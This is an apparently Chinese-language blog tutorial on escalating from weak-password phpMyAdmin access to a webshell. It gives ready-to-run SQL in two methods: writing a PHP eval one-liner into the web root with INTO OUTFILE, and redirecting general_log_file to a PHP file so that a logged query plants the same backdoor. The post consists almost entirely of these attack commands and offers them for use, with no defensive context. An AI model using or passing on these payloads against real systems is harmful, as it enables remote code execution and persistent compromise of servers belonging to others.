拿到phpMyAdmin如何获取权限

发布时间 2023-11-25 17:19:41作者: ExpiredSaury

通过弱口令拿到进到phpMyAdmin页面如何才能获取权限

1、outfile写一句话

尝试执行outfile语句写入一句话木马

select "<?php @eval($_REQUEST[6868])?>"  into outfile "C:\\phpStudy\\WWW\\phpadmin.php";

image-20231023210312344

image-20231023210353375

如果执行失败show variables like "%secure%"; 查看配置

image-20231023210727393

2、general_log_file写一句话

查看general_log是否开启

通过show global variables like "%genera%";查看

image-20231023204626426

执行set global general_log="on";打开

通过generali_log_file写入一句话木马

set global general_log_file=“网站绝对路径/文件名”;

image-20231023204850257

SELECT "<?php @eval($_POST[1])?>"

image-20231023204934826

general_log_file会记录所有的查询语句,以原始的状态来显示,如果将general_log开关打开,general_log_file设置为一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。

image-20231023211035433